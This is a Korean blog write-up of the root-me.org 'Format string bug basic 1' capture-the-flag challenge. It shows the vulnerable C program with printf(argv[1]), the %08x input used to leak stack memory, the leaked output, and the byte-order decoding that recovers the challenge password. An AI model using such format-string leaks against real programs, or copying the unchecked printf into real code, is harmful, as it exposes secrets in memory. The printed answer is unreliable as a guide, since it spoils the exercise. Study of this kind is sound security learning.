반응형

root-me.org [APP - SYSTEM] Format string bug basic 1 풀이


문제소스:


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd""rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
cs


.passwd파일을 불러와 buffer에 32바이트만큼 저장하고

argv[1]을 출력하고 끝냅니다.


printf(argv[1])에서 포맷스트링 버그가 발생합니다.


argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.


.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.


%08x를 이용해 스택을 잔뜩 긁어와 보았다.



app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b




그리고 다 아스키로 돌렸다.



 °·åbóŸô¿ÿû´¿ÿüÓ/°9apD()6dmapE

d·åd­·ýÄ·ÿð…yÞüo…p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT ‚\·ýÑ:mkéYI{


읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.


1) 39617044 28293664 6d617045 00000a64


리틀엔디안 -> 빅엔디안


2) 44706139 64362928 4570616d 64


hex -> ascii


3) Dpa9d6)(Epamd



반응형

+ Recent posts